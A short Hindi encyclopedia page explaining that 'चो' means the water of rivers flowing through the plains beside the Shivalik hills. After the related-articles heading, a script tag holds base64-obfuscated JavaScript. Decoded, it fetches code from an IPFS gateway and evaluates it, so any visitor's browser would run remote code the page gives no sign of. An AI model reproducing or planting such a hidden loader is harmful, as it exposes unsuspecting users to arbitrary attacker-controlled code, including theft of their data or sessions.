चो

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

चो का तात्पर्य नदियों के जल से है।

  • शिवालिक पहाड़ियों से जुड़े मैदान में नदियाँ प्रवाहित होती हैं।
  • ये नदियाँ मैदान के उत्तरी भाग में स्थित हैं।
  • इनमें प्रवाहित होने वाले जल को ही 'चो' कहा जाता है।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>